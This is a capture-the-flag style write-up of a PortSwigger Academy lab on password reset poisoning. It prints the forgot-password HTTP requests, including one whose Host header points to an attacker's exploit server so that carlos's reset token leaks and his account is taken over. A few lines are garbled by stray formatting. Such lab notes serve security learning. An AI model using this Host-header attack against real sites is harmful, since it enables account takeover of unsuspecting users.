> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/host-header/basic-password-reset-poisoning.md).
# Basic Poisoning of the Password Reset Mechanism
Basic Poisoning of the Password Reset Mechanism notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Basic Password Reset Poisoning
**Description of lab**
This lab presents a vulnerability to poisoning of the password reset process. / User **carlos** clicks without caution on all links received by email.
Objective:
* Use this fault to recover a valid reset link
* Sign in to **carlos account**
Identifier provided:
* User: **wiener**
* Password: **peter**
All emails sent to this account can be accessed via the email client of the server\*\*.
**Observation initiale**
The app offers a \*\*
When entering the `wiener` user, a reset email is correctly sent.
**Backend request analysis**
The HTTP request sent during the reset request is as follows:
```http
POST /forgot-password HTTP/2
Host: 0af900f303cc106580bb030b00540086.web-security-academy.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53
csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=wiener
```
**Host Header Manipulation Test**
By replacing the `Host` header value with an arbitrary domain (e.g. `test.com`), the server always processes the request as valid and generates the reset link from this modified Host.
```http
Host: test.com
```
The page interprets the content the same way as the normal host page.
This confirms an excessive confidence in the Host\*\* header.
**Exploitation of vulnerability**
The attack consists of:
1. Change the `Host` header to place the domain**exploit server**
2. Request reset for user **carlos**
Application:
```http
POST /forgot-password HTTP/2
Host: exploit-0a5c001303a8105f80b302b10120000a.exploit-server.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53
csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=carlos
```
**Result**
* Server generates a reset link based on **Host controlled by attacker**
* User **carlos** click on this trapped link received by email
* The reset token is then visible in the logs of the exploit server
* You can set a new password for the account **carlos**
* Successful connection to the targeted account
---
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